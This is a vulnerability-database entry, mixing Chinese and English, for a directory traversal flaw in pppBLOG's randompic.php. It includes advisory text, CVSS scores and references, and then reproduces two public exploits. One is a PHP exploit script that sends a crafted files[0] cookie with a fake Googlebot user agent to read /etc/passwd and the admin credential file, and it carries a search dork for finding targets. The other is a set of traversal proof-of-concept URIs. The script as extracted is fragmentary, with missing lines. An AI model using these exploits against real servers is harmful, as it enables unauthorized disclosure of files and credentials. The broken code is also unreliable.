发布时间 :2006-06-02 06:18:00
修订时间 :2011-03-07 21:36:59

[原文]Directory traversal vulnerability in randompic.php in pppBLOG 0.3.8 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) sequence in an index of the "file" array parameter, as demonstrated by file[0].

[CNNVD]PPPBlog Randompic.PHP 目录遍历漏洞(CNNVD-200606-048)

        pppBLOG 中的randompic.php存在目录遍历漏洞,当启用register_globals时,远程攻击者可通过"文件"数组参数的索引(该参数中包含..)序列读取任意文件。如通过file[0]。

- CVSS (基础分值)

CVSS分值: 5.4 [中等(MEDIUM)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  VUPEN  ADV-2006-2085
(UNKNOWN)  BID  18189
(VENDOR_ADVISORY)  BUGTRAQ  20060530 pppBlog <= 0.3.8 administrative credentials/system disclosure
(UNKNOWN)  XF  pppblog-randompic-directory-traversal(26969)

- 漏洞信息

PPPBlog Randompic.PHP 目录遍历漏洞
中危 路径遍历
2006-06-02 00:00:00 2006-06-02 00:00:00
        pppBLOG 中的randompic.php存在目录遍历漏洞,当启用register_globals时,远程攻击者可通过"文件"数组参数的索引(该参数中包含..)序列读取任意文件。如通过file[0]。

- 公告与补丁


- 漏洞信息 (1853)

pppBlog <= 0.3.8 (randompic.php) System Disclosure Exploit (EDBID:1853)
php webapps
2006-05-31 Verified
0 rgod
N/A [点击下载]
#!/usr/bin/php -q -d short_open_tag=on
echo "pppBlog <= 0.3.8 system disclosure exploit\r\n";
echo "by rgod\r\n";
echo "site:\r\n\r\n";
echo "dork: intext:\"Powered by pppblog\"\r\n\r\n";
works with:

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path path_to_file OPTIONS\r\n";
echo "host:         target server (ip/hostname)\r\n";
echo "path:         path to pppblog\r\n";
echo "path_to_file: a file which you want to see content of\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /pppblog/ ../../../../../../etc/passwd\r\n";
echo "php ".$argv[0]." localhost /pppblog/ ../config/admin.php -p81\r\n";
echo "php ".$argv[0]." localhost / ../config/admin.php -P1.1.1.1:80\r\n\r\n";
/* software site:

vulnerable code in randompic.php at lines 66-68:
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");

if randompic.php is called directly, without arguments, $files array is
not initialized, so , if register_globals = On, you can see all
files on target server, according to open_basedir restrictions, poc:


now at screen you have ppp-blog admin username/password pair, crypted by
crypt() php function


function quick_dump($string)
  for ($i=0; $i<=strlen($string)-1; $i++)
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
 return $exa."\r\n".$result;
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    if (!$ock) {
      echo 'No response from proxy...';die;
  if ($proxy=='') {
    while (!feof($ock)) {
  else {
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
  #echo "\r\n".$html;

if (($path[0]<>'/') | ($path[strlen($path)-1]<>'/'))
{die("Check the path, it must begin and end with a trailing slash\r\n");}
for ($i=4; $i<=$argc-1; $i++){
if ($temp=="-p")
if ($temp=="-P")
if ($proxy<>'') {$p="http://".$host.":".$port.$path;} else {$p=$path;}

$packet ="GET ".$p."randompic.php HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: files[0]=".urlencode($path_to_file)."\r\n"; //through cookies, log this :)
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
echo $html;

# [2006-05-31]

- 漏洞信息 (6972)

pppBlog <= 0.3.11 (randompic.php) File Disclosure Vulnerability (EDBID:6972)
php webapps
2008-11-03 Verified
0 JosS
N/A [点击下载]
# pppBlog <= 0.3.11 (randompic.php) System File Disclosure Vulnerability
# url:
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site:
# team: Spanish Hackers Team - [SHT]
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
# In memory of rgod ;)

*Requeriments: register_globals = On

vulnerable code in randompic.php at lines 66-72:
header("Content-Type: image/gif");
header("Content-Transfer-Encoding: binary");
if (is_array($files)){
    if (is_file($files[$randnum])){

poc[0] = randompic.php?files[0]=[file]
poc[1] = randompic.php?files[0]=../../../../../../../../../../etc/passwd

linked: (pppBlog 0.3.8, thanks rgod).

tested on localhost with register_globals = On.

Hack0wn :D

# [2008-11-03]

- 漏洞信息

pppBLOG randompic.php files[0] Parameter Traversal Arbitrary File Access
Remote / Network Access Input Manipulation
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-05-30 Unknow
2006-05-30 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

PPPBlog Randompic.PHP Directory Traversal Vulnerability
Input Validation Error 18189
Yes No
2006-05-31 12:00:00 2008-11-05 04:55:00
rgod is credited with the discovery of this vulnerability.

- 受影响的程序版本

pppBLOG pppBLOG 0.3.11
pppBLOG pppBLOG 0.3.8

- 漏洞讨论

pppBlog is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid the attacker in further attacks.

- 漏洞利用

This vulnerability may be exploited via a browser.

The following exploit and example URIs are available:[0]=../../../../../../../../../../etc/passwd[0]=[file]

- 解决方案

Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at:

- 相关参考